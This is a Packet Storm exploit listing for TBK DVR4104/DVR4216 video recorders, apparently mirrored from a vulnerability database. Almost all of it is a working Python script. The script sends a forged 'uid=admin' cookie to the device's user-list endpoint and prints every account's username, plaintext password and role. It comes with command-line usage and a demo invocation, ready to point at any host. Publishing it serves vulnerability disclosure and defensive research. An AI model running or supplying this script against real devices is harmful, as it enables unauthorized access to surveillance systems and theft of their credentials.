Lucene search

K
packetstormFernandez EzequielPACKETSTORM:147478
HistoryMay 04, 2018 - 12:00 a.m.

TBK DVR4104 / DVR4216 Credential Disclosure

2018-05-0400:00:00
Fernandez Ezequiel
packetstormsecurity.com
85

0.915 High

EPSS

Percentile

98.9%

`# -*- coding: utf-8 -*-   
import json  
import requests  
import argparse  
import tableprint as tp  
  
class Colors:  
BLUE = '\033[94m'  
GREEN = '\033[32m'  
RED = '\033[0;31m'  
DEFAULT = '\033[0m'  
ORANGE = '\033[33m'  
WHITE = '\033[97m'  
BOLD = '\033[1m'  
BR_COLOUR = '\033[1;37;40m'  
  
banner = '''  
__..--.._  
..... .--~ ..... `.  
.": "`-.. . .' ..-'" :". `  
` `._ ` _.'`"( `-"'`._ ' _.' '  
~~~ `. ~~~  
.'  
/  
(  
^---'  
  
  
[*] @capitan_alfa  
'''  
  
details = '''   
# Exploit Title: DVRs; Credentials Exposed  
# Date: 09/04/2018  
# Exploit Author: Fernandez Ezequiel ( @capitan_alfa )  
'''  
parser = argparse.ArgumentParser(prog='getDVR_Credentials.py',  
description=' [+] Obtaining Exposed credentials',   
epilog='[+] Demo: python getDVR_Credentials.py --host 192.168.1.101 -p 81',  
version="1.1")  
  
parser.add_argument('--host', dest="HOST", help='Host', required=True)  
parser.add_argument('--port', dest="PORT", help='Port', default=80)  
  
args = parser.parse_args()  
  
HST = args.HOST  
port = args.PORT  
  
headers = {}  
  
fullHost_1 = "http://"+HST+":"+str(port)+"/device.rsp?opt=user&cmd=list"  
host = "http://"+HST+":"+str(port)+"/"  
  
print Colors.GREEN+banner+Colors.DEFAULT  
  
  
def makeReqHeaders(xCookie):  
headers["Host"] = host  
headers["User-Agent"] = "Morzilla/7.0 (911; Pinux x86_128; rv:9743.0)"  
headers["Accept"] = "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"  
headers["Accept-Languag"] = "es-AR,en-US;q=0.7,en;q=0.3"  
headers["Connection"] = "close"  
headers["Content-Type"] = "text/html"  
headers["Cookie"] = "uid="+xCookie  
  
return headers  
  
try:  
rX = requests.get(fullHost_1,headers=makeReqHeaders(xCookie="admin"),timeout=10.000)  
except Exception,e:  
print Colors.RED+" [+] Timed out\n"+Colors.DEFAULT  
exit()  
  
badJson = rX.text  
try:  
dataJson = json.loads(badJson)  
totUsr = len(dataJson["list"]) #--> 10  
except Exception, e:  
print " [+] Error: "+str(e)  
print " [>] json: "+str(rX)  
# print " [>] Reuest: \n"+str(makeReqHeaders(xCookie="admin"))  
exit()  
  
  
print Colors.GREEN+"\n [+] DVR (url):\t\t"+Colors.ORANGE+str(host)+Colors.GREEN  
print " [+] Port: \t\t"+Colors.ORANGE+str(port)+Colors.DEFAULT  
  
print Colors.GREEN+"\n [+] Users List:\t"+Colors.ORANGE+str(totUsr)+Colors.DEFAULT  
print " "  
  
final_data = []  
try:  
for obj in range(0,totUsr):  
  
temp = []  
  
_usuario = dataJson["list"][obj]["uid"]  
_password = dataJson["list"][obj]["pwd"]  
_role = dataJson["list"][obj]["role"]  
  
temp.append(_usuario)   
temp.append(_password)  
temp.append(_role)  
  
final_data.append(temp)  
  
hdUsr = Colors.GREEN + "Username" + Colors.DEFAULT  
hdPass = Colors.GREEN + "Password" + Colors.DEFAULT  
hdRole = Colors.GREEN + "Role ID" + Colors.DEFAULT  
  
cabeceras = [hdUsr, hdPass, hdRole]   
  
tp.table(final_data, cabeceras, width=20)  
  
except Exception, e:  
print "\n [!]: "+str(e)  
print " [+] "+ str(dataJson)  
  
print "\n"  
  
`